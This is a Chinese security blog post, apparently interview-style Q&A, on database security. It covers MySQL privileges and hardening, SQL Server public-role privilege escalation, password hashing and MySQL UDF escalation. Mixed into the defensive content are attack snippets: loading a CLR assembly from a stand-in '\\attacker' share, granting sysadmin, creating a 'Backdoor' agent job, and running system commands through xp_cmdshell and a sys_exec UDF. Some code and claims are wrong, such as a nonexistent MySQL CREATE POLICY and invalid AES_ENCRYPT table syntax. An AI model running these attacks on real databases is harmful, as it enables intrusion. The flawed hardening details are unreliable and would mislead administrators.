网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
数据库安全
mysql表权限里面,除了增删改查,文件读写,还有哪些权限? mysql安全要如何做? sqlserver public权限要如何提权 Windows、Linux、数据库的加固降权思路,任选其一 mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式? mysql数据库默认有哪些库?说出库的名字 mysql UDF提权5.1以上版本和5.1以下有什么区别,以及需要哪些条件?
一、MySQL表权限深度解析
- 高级权限清单
sql
SHOW PRIVILEGES; -- 查看完整权限列表
- PROCESS:查看所有线程执行状态,可获取敏感SQL语句
风险案例:通过SHOW PROCESSLIST
窃取其他用户查询内容- SUPER:绕过只读设置执行
SET GLOBAL
命令
典型利用:SET GLOBAL general_log = 'ON'
记录所有查询- REPLICATION CLIENT:监控主从复制拓扑
安全影响:暴露数据库集群架构信息- EXECUTE:执行存储过程,可能触发提权链
漏洞场景:调用包含危险函数的存储过程- CREATE USER:创建新用户并授权
提权路径:创建高权限用户实现权限提升- 权限继承机制
sql
GRANT SELECT ON db1.* TO 'user1'@'%' WITH GRANT OPTION;
WITH GRANT OPTION
允许权限二次分配- 级联回收需使用
REVOKE ... CASCADE
- 元数据权限风险
INFORMATION_SCHEMA
访问暴露表结构信息
防御方案:限制SELECT_ACL
权限- 行级安全控制
MySQL 8.0+支持行策略:sql
CREATE POLICY user_policy ON orders USING (user_id = CURRENT_USER());
二、MySQL安全加固十二策
认证安全
sql
ALTER USER 'root'@'localhost' IDENTIFIED WITH caching_sha2_password BY '新密码';
- 禁用
mysql_old_password
插件- 设置密码复杂度策略:
ini
validate_password.policy=STRONG validate_password.length=12
网络层防护
ini
[mysqld] bind-address = 127.0.0.1 skip-networking # 彻底禁用远程连接 require_secure_transport = ON # 强制SSL
日志审计配置
sql
SET GLOBAL general_log = 'ON'; SET GLOBAL log_output = 'TABLE';
- 使用Enterprise Audit插件实现细粒度审计
- 日志异地存储防止篡改
文件系统隔离
bash
chown -R mysql:mysql /var/lib/mysql chmod 750 /var/lib/mysql
漏洞防护
- 修复CVE-2012-2122等认证绕过漏洞
- 禁用
LOAD DATA LOCAL INFILE
防止文件窃取
三、SQL Server Public权限提权
Public角色权限分析
sql
SELECT * FROM sys.database_permissions WHERE grantee_principal_id = 0;
- 默认具有
VIEW DATABASE STATE
等权限存储过程滥用
sql
EXEC sp_addsrvrolemember 'Public', 'sysadmin';
- 利用
sp_configure
修改配置参数CLR程序集攻击
sql
CREATE ASSEMBLY Exploit FROM '\\attacker\malware.dll' WITH PERMISSION_SET = UNSAFE;
服务账户劫持
- 通过
xp_cmdshell
执行系统命令
防御:禁用show advanced options
跨数据库攻击链
sql
USE msdb; EXEC dbo.sp_add_job @job_name = 'Backdoor';
四、数据库加固黄金法则(以MySQL为例)
权限最小化
sql
CREATE USER 'app_user'@'192.168.1.%' IDENTIFIED BY '密码'; GRANT SELECT, INSERT ON app_db.* TO 'app_user';
加密体系构建
sql
CREATE TABLE users ( id INT, data VARBINARY(500) AES_ENCRYPT('明文', '密钥') );
- 启用TDE透明数据加密
补丁管理
bash
# Ubuntu示例 sudo apt-get install mysql-server=8.0.32-0ubuntu0.20.04.1
入侵检测
sql
SELECT * FROM mysql.general_log WHERE argument LIKE '%DROP TABLE%';
灾备方案
bash
mysqldump --single-transaction -R -q -B db1 | gzip > backup.sql.gz
五、MySQL认证体系全解
密码存储机制
sql
SELECT user, plugin, authentication_string FROM mysql.user;
- mysql_native_password:SHA1(SHA1(password))
- caching_sha2_password:SHA256(SHA256(password))
哈希破解示例
text
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 -> "password"
认证协议演进
- MySQL 8.0默认采用caching_sha2_password
- 旧客户端需使用
--default-auth=mysql_native_password
六、MySQL默认系统库解析
数据库名称 核心功能 安全关注点 information_schema 元数据存储(表结构、权限等) 暴露数据库架构信息 mysql 用户权限及系统变量配置 存储用户密码哈希 performance_schema 性能监控指标收集 可能泄露查询模式 sys 基于performance_schema的视图 简化版监控数据访问
七、MySQL UDF提权深度剖析
版本差异对比
条件/版本 5.1以下 5.1+ 插件目录 任意可写目录 严格限制为lib/plugin 提权成功率 高 依赖目录权限配置 防御难度 较难 易通过目录权限控制防御 攻击链构造
sql
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so'; SELECT sys_exec('id');
- 需具备
FILE
权限写入共享库- 依赖
gcc
编译恶意UDF现代防御策略
ini
[mysqld] secure_file_priv=/dev/null allow-suspicious-udfs=OFF
总结性防御矩阵
mermaid
graph TD A[认证安全] --> B[权限最小化] B --> C[网络隔离] C --> D[加密传输] D --> E[漏洞修复] E --> F[入侵检测] F --> G[灾备恢复]
以上体系覆盖数据库全生命周期防护,建议结合OWASP ASVS标准实施验证,并通过自动化工具(如Vault管理密钥)实现持续安全运营。